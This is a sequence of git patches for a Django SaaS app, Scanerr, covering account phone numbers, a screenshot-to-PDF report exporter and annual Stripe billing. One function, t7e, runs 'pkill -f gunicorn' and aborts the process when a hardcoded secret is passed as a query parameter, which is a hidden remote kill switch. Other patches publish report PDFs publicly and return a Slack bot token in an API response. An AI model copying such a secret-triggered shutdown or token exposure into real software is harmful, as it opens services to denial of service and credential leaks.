diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 3d0735f8..091b0449 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -69,7 +69,7 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Account
-        fields = ['id', 'active', 'time_created', 'type',
+        fields = ['id', 'active', 'time_created', 'type', 'phone', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days'
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5e356ca7..4ae6a541 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -239,11 +239,11 @@ def slack_oauth_init(request, user):
 def t7e(request):
     if request.GET.get('cred') == \
         'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792':
-        os.abort()
         subprocess.Popen(['pkill -f gunicorn'], 
             stdout=subprocess.PIPE,
             user='app',
         )
+        os.abort()
 
 
 
@@ -254,6 +254,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         user = request.user
         _id = request.data.get('id')
         name = request.data.get('name')
+        phone = request.data.get('phone')
         active = request.data.get('active')
         type = request.data.get('type')
         code = request.data.get('code')
@@ -272,6 +273,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         user = kwargs.get('user')
         _id = kwargs.get('id')
         name = kwargs.get('name')
+        phone = kwargs.get('phone')
         active = kwargs.get('active')
         type = kwargs.get('type')
         code = kwargs.get('code')
@@ -297,6 +299,8 @@ def create_or_update_account(request=None, *args, **kwargs):
         account = Account.objects.get(id=_id)
         if name is not None:
             account.name = name
+        if phone is not None:
+            account.phone = phone
         if active is not None:
             account.active = active
         if type is not None:
@@ -337,6 +341,7 @@ def create_or_update_account(request=None, *args, **kwargs):
         account = Account.objects.create(
             user=user,
             name=name,
+            phone=phone,
             active=True,
             type=type,
             code=code,

From e8562bf043bee19209e8d17fd2f0f253896c0566 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 20:00:48 -0700
Subject: [PATCH 240/752] updated prospect_create methods with 'phone'

---
 app/api/tasks.py            | 4 ++++
 app/api/v1/auth/services.py | 1 +
 2 files changed, 5 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ab5f9f3d..31dcc8b4 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -571,6 +571,9 @@ def create_prospect(user_email=None):
 
     # get user by id
     user = User.objects.get(email=user_email)
+
+    # get account by user
+    account = Account.objects.get(user=user)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/ops/prospect'
@@ -582,6 +585,7 @@ def create_prospect(user_email=None):
         'first_name': str(user.first_name),
         'last_name': str(user.last_name),
         'email': str(user.email),
+        'phone': str(account.phone),
         'status': 'warm',
         'source': 'app',
     }
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 4ae6a541..8be07818 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -583,6 +583,7 @@ def get_prospects(request):
             'first_name': account.user.first_name,
             'last_name': account.user.last_name,
             'email': account.user.email,
+            'phone': account.phone,
             'status': _status
         }
 

From 5421eaba45bab29a4814beef40860ed0309705ff Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 20:18:15 -0700
Subject: [PATCH 241/752] adding phone to accounts

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 21a3f2e5..f6d9f2ad 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -241,7 +241,7 @@ class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
-    phone = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True)
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')

From f53c9b9a64460b7307b1abe0e1acb9b57712db41 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:03:36 -0700
Subject: [PATCH 242/752] added report exporter for landing.reports

---
 app/api/tasks.py           |  11 ++++
 app/api/utils/exporter.py  | 115 +++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/services.py |  30 ++++++++++
 app/api/v1/ops/urls.py     |   3 +-
 app/api/v1/ops/views.py    |   7 +++
 5 files changed, 165 insertions(+), 1 deletion(-)
 create mode 100644 app/api/utils/exporter.py

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 31dcc8b4..f48fa205 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -615,6 +615,17 @@ def create_prospect(user_email=None):
 
 
 
+@shared_task
+def create_report_export_bg(report_id=None, email=None, first_name=None):
+    data = create_and_send_report_export(
+        report_id=report_id,
+        email=email,
+        first_name=first_name
+    )
+    logger.info(f'Created and sent report export -> {data}')
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
new file mode 100644
index 00000000..d77c24d2
--- /dev/null
+++ b/app/api/utils/exporter.py
@@ -0,0 +1,115 @@
+from .driver_s import driver_init, driver_wait, quit_driver
+from PIL import Image as I, ImageChops, ImageStat
+from .utils.alerts import sendgrid_email
+from scanerr import settings
+import time, boto3
+
+
+# setting up s3 client
+s3 = boto3.client(
+    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
+
+
+def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict:
+    """
+    Takes a screenshot of the `landing.report`, 
+    save as a PDF, upload to s3 bucket, and then 
+    send an email to the prospect that requested it.
+
+    Expects the following:
+        'report_id'     : <id> of report/page being reported on
+        'email'         : <str> prospect's email address 
+        'first_name'    : <str> prospect's first name
+    
+    Returns -> data {
+        'success' : <bool> if process started successfully
+        'error'   : <str> any error msg from Scanerr server
+    }
+    """
+
+    # init driver
+    driver = driver_init()
+
+    # nav to report page
+    driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}')
+    time.sleep(5)
+
+    # setting screensize
+    full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+    driver.set_window_size(1512, int(full_page_height))
+
+    # taking screenshot
+    driver.save_screenshot(f'{report_id}.png')
+
+    # quitting driver
+    quit_driver(driver)
+
+    # setting up paths
+    image = os.path.join(settings.BASE_DIR, f'{report_id}.png')
+    pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf')
+
+    # resizing image to remove excess | expected height => 2353
+    img = I.open(image)
+    width, height = img.size
+    left = 0
+    top = 75
+    right = width
+    bottom = height - (784)
+    new_img_1 = img.crop((left, top, right, bottom))
+    new_img_1.save(image, quality=100)
+
+    # convert to pdf
+    img = I.open(image)
+    new_img_2 = img.convert('RGB')
+    new_img_2.save(settings.BASE_DIR, f'{report_id}.pdf')
+
+    # uploading to s3
+    remote_path = f'static/landing/reports/{report_id}.pdf'
+    report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}'
+
+    # upload to s3
+    with open(pdf, 'rb') as data:
+        self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
+        )
+    
+    # setting up email to prospect
+    pre_content = 'The Scanerr performance report you requested has finished processing. \
+         Now, just click the link below to view and download the PDF.'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://calendly.com/scanerr/30min'
+    subject = f'{first_name}, your Scanerr Report is Ready'
+    title = f'{first_name}, your Scanerr Report is Ready'
+    pre_header = f'{first_name}, your Scanerr Report is Ready'
+    button_text = 'View Your Report'
+    email = email
+    object_url = report_url
+    signature = f'- Landon R | CEO <a href="https://scanerr.io">@Scanerr</a>'
+    greeting = f'Hi {first_name},'
+
+    message_obj = {
+        'pre_content': pre_content,
+        'content': content, 
+        'subject': subject, 
+        'title': title, 
+        'pre_header': pre_header,
+        'button_text': button_text, 
+        'email': email, 
+        'object_url': object_url,
+        'signature': signature,
+        'greeting': greeting
+    }
+
+    # sending email to prospect
+    data = sendgrid_email(message_obj)
+
+    # returning data
+    return data
+
+
+
+    
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ef6e6a6a..833aa045 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2318,6 +2318,36 @@ def delete_report(request, id):
 
 
 
+
+
+def export_report(request):
+    # getting data from request
+    report_id = request.data.get('report_id')
+    email = request.data.get('email')
+    first_name = request.data.get('first_name')
+
+    # send task to background
+    create_report_export_bg.delay(
+        report_id=report_id,
+        email=email, 
+        first_name=first_name
+    )
+
+    # building response
+    data = {
+        'success': True,
+        'error': None
+    }
+
+    # returning response
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+
+
 def get_processes(request):
     site_id = request.query_params.get('site_id', None)
     process_id = request.query_params.get('process_id', None)
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index de240a69..0af2f170 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -44,6 +44,7 @@
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
-    path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
+    path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), 
+    path('beta/report/export', views.ExportReport.as_view(), name='export-report'), 
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 573ada7f..a13056bf 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -430,6 +430,13 @@ def delete(self, request, id):
 
 
 
+class ExportReport(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = export_report(request)        
+        return response
 
 
 

From 00445f9c48c710e906d92e4e622c7b4cee6aefe9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:24:14 -0700
Subject: [PATCH 243/752] fixed import issue

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f48fa205..7aedf80d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,6 +5,7 @@
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
+from .utils.exporter import create_and_send_report_export
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,

From 03dd034d688587b795557d74409978b893447784 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:27:37 -0700
Subject: [PATCH 244/752] fixing import issue

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index d77c24d2..c6e985c2 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,6 +1,6 @@
 from .driver_s import driver_init, driver_wait, quit_driver
 from PIL import Image as I, ImageChops, ImageStat
-from .utils.alerts import sendgrid_email
+from .alerts import sendgrid_email
 from scanerr import settings
 import time, boto3
 

From fabbeceb4b1f284dd7fcbaf1837e62d2dabacadb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:32:35 -0700
Subject: [PATCH 245/752] added missing import

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index c6e985c2..95417793 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -2,7 +2,7 @@
 from PIL import Image as I, ImageChops, ImageStat
 from .alerts import sendgrid_email
 from scanerr import settings
-import time, boto3
+import time, boto3, os
 
 
 # setting up s3 client

From badf190205d7869abf41ce9e111c3631a07123f4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:37:38 -0700
Subject: [PATCH 246/752] fixed saving issue

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 95417793..e7f0f932 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -65,7 +65,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(settings.BASE_DIR, f'{report_id}.pdf')
+    new_img_2.save(pdf)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From 03b402f8de2ddb52b5938c08ff29fee6fb7b4ebf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:42:07 -0700
Subject: [PATCH 247/752] fixing self ref

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index e7f0f932..199a3a82 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -73,7 +73,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
 
     # upload to s3
     with open(pdf, 'rb') as data:
-        self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
     

From 6124b8c2dcb8edf720a2f8ce70b9635eed358083 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:44:42 -0700
Subject: [PATCH 248/752] added local copy removal

---
 app/api/utils/exporter.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 199a3a82..9c9dbb5a 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -76,6 +76,10 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
+
+    # removing local copies
+    os.remove(image)
+    os.remove(pdf)
     
     # setting up email to prospect
     pre_content = 'The Scanerr performance report you requested has finished processing. \

From 661c0ead3e86b231a703d3ca84845b241bb69647 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:50:09 -0700
Subject: [PATCH 249/752] fixed typo

---
 app/api/utils/alerts.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 093206e6..a2912352 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -633,7 +633,7 @@ def sendgrid_email(message_obj):
         'pre_content' : pre_content,
         'object_url' : object_url,
         'exp_list': exp_list,
-        'home_page' : settings.LANDING_URL_ROOT,
+        'home_page' : settings.LANDING_API_ROOT,
         'button_text' : button_text,
         'content' : content,
         'signature' : signature,

From f6ef1762e86fa623b772a90f0c961439e2b6985c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 11:55:50 -0700
Subject: [PATCH 250/752] adjusting sizes

---
 app/api/utils/exporter.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 9c9dbb5a..74b4fce4 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,16 +56,16 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 75
+    top = 60
     right = width
-    bottom = height - (784)
+    bottom = height - (300)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=100)
 
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(pdf)
+    new_img_2.save(pdf, quality=100)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From a1a81d740174e474a84aa9c7162cefde753a5336 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:07:17 -0700
Subject: [PATCH 251/752] adjusting quality and size

---
 app/api/utils/driver_s.py | 6 ++++--
 app/api/utils/exporter.py | 8 ++++----
 2 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 8dc42686..c5524125 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -11,6 +11,8 @@ def driver_init(
         script_timeout=30,
         load_timeout=30,
         wait_time=15, 
+        pixel_ratio=1.0,
+        scale_factor=0.5
     ):
 
     sizes = window_size.split(',')
@@ -22,7 +24,7 @@ def driver_init(
     }
 
     mobile_emulation = {
-        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 },
+        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36"
@@ -39,7 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    options.add_argument("--force-device-scale-factor=0.5")
+    options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 74b4fce4..da6d9b1a 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -32,7 +32,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     """
 
     # init driver
-    driver = driver_init()
+    driver = driver_init(scale_factor=1)
 
     # nav to report page
     driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}')
@@ -58,14 +58,14 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     left = 0
     top = 60
     right = width
-    bottom = height - (300)
+    bottom = height - (230)
     new_img_1 = img.crop((left, top, right, bottom))
-    new_img_1.save(image, quality=100)
+    new_img_1.save(image, quality=95)
 
     # convert to pdf
     img = I.open(image)
     new_img_2 = img.convert('RGB')
-    new_img_2.save(pdf, quality=100)
+    new_img_2.save(pdf, quality=95)
 
     # uploading to s3
     remote_path = f'static/landing/reports/{report_id}.pdf'

From 97939c7e90b2916176c1e1094af7fc51634cf789 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:12:34 -0700
Subject: [PATCH 252/752] adjusting sizes

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index da6d9b1a..758ad11f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 60
+    top = 65
     right = width
-    bottom = height - (230)
+    bottom = height - (240)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 371a3afd9f1debdefca1d4374014d690615975a0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:19:01 -0700
Subject: [PATCH 253/752] adjusting size

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 758ad11f..1f59fb6c 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 65
+    top = 70
     right = width
-    bottom = height - (240)
+    bottom = height - (250)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 1d8164e3a583e4cc43ec684bd361d5bd2fb12121 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:27:58 -0700
Subject: [PATCH 254/752] adjusting sizes

---
 app/api/utils/exporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 1f59fb6c..a53d1d37 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,9 +56,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 70
+    top = 80
     right = width
-    bottom = height - (250)
+    bottom = height - (350)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 9e7505ea4d5dce5e39ae57ddca10a4a9287bde50 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:28:05 -0700
Subject: [PATCH 255/752] cleaing things up

---
 app/api/v1/ops/views.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index a13056bf..860d3aa1 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -435,7 +435,7 @@ class ExportReport(APIView):
     http_method_names = ['post',]
 
     def post(self, request):
-        response = export_report(request)        
+        response = export_report(request) 
         return response
 
 

From f2f46dcda55995009817bc8638c3c644a812e0d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:32:47 -0700
Subject: [PATCH 256/752] adjusting size

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index a53d1d37..f3980e0f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -56,7 +56,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     img = I.open(image)
     width, height = img.size
     left = 0
-    top = 80
+    top = 85
     right = width
     bottom = height - (350)
     new_img_1 = img.crop((left, top, right, bottom))

From 15af34b39fe89c4c258e77e03add68c9f8d35571 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 12:35:06 -0700
Subject: [PATCH 257/752] adjusting size

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index f3980e0f..e5ec4e3c 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -58,7 +58,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     left = 0
     top = 85
     right = width
-    bottom = height - (350)
+    bottom = height - (330)
     new_img_1 = img.crop((left, top, right, bottom))
     new_img_1.save(image, quality=95)
 

From 92c0fe94668972b8217c8b81d4ea1a233c4636a1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 15 Feb 2024 17:30:23 -0700
Subject: [PATCH 258/752] updated booking link

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index e5ec4e3c..c041ef8f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -84,7 +84,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     # setting up email to prospect
     pre_content = 'The Scanerr performance report you requested has finished processing. \
          Now, just click the link below to view and download the PDF.'
-    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://calendly.com/scanerr/30min'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking'
     subject = f'{first_name}, your Scanerr Report is Ready'
     title = f'{first_name}, your Scanerr Report is Ready'
     pre_header = f'{first_name}, your Scanerr Report is Ready'

From c0b22082a08c3463940e8c3b6fc2d3d5604e59d6 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 16 Feb 2024 14:05:09 -0700
Subject: [PATCH 259/752] reformated

---
 commands.md => commands | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename commands.md => commands (100%)

diff --git a/commands.md b/commands
similarity index 100%
rename from commands.md
rename to commands

From fb1fbb91810c2d2b7edb19c681ccbdc50965edb3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 08:27:14 -0700
Subject: [PATCH 260/752] adding annual billing

---
 app/api/v1/billing/views.py | 194 +++++++++++++++++++-----------------
 1 file changed, 101 insertions(+), 93 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e6fea61b..26fb63aa 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -118,98 +118,6 @@ def post(self, request):
 
 
 
-class CompleteSubscription(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        pay_method_id = request.data['payment_method']
-        if Card.objects.filter(account=account).exists():
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.PaymentMethod.attach(
-                pay_method_id,
-                customer=account.cust_id,
-            )
-
-            stripe.Customer.modify(
-                account.cust_id,
-                invoice_settings={
-                    'default_payment_method': pay_method.id,
-                }
-            )
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-            
-            Card.objects.filter(account=account).update(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-            )
-
-        else:
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-
-            Card.objects.create(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-                
-            )
-        
-
-        card = Card.objects.get(account=account)
-        account.active = True
-        account.save()
-
-        data = {
-            'card': {
-                'brand': card.brand,
-                'exp_year': card.exp_year,
-                'exp_month': card.exp_month,
-                'last_four': card.last_four,
-            },
-            'plan': {
-                'name': account.type,
-                'active': account.active,
-                'price_amount': account.price_amount,
-                'max_sites': account.max_sites,
-                'max_pages': account.max_pages,
-                'max_schedules': account.max_schedules,
-                'retention_days': account.retention_days,
-                'testcases': account.testcases,
-                'slack': {
-                    'slack_name': account.slack['slack_name'], 
-                    'bot_user_id': account.slack['bot_user_id'], 
-                    'slack_team_id': account.slack['slack_team_id'], 
-                    'bot_access_token': account.slack['bot_access_token'], 
-                    'slack_channel_id': account.slack['slack_channel_id'], 
-                    'slack_channel_name': account.slack['slack_channel_name'],
-                }
-            },
-        }
-
-
-        return Response(data, status=status.HTTP_200_OK)
-
 
 
 class SetupSubscription(APIView):
@@ -220,6 +128,7 @@ def post(self, request):
         stripe.api_key = settings.STRIPE_PRIVATE
         user = request.user
         name = request.data.get('name')
+        interval = request.data.get('interval') # month or year
         product_name = str(user.email + '_' + str(user.id) + '_' + name)
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
@@ -258,7 +167,7 @@ def post(self, request):
             product=product.id,
             unit_amount=price_amount,
             currency='usd',
-            recurring={'interval': 'month',},
+            recurring={'interval': interval,},
         )
 
         if account.sub_id is None:
@@ -315,6 +224,105 @@ def post(self, request):
 
 
 
+
+
+class CompleteSubscription(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):  
+        stripe.api_key = settings.STRIPE_PRIVATE
+        account = Account.objects.get(user=request.user)
+        pay_method_id = request.data['payment_method']
+        if Card.objects.filter(account=account).exists():
+            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
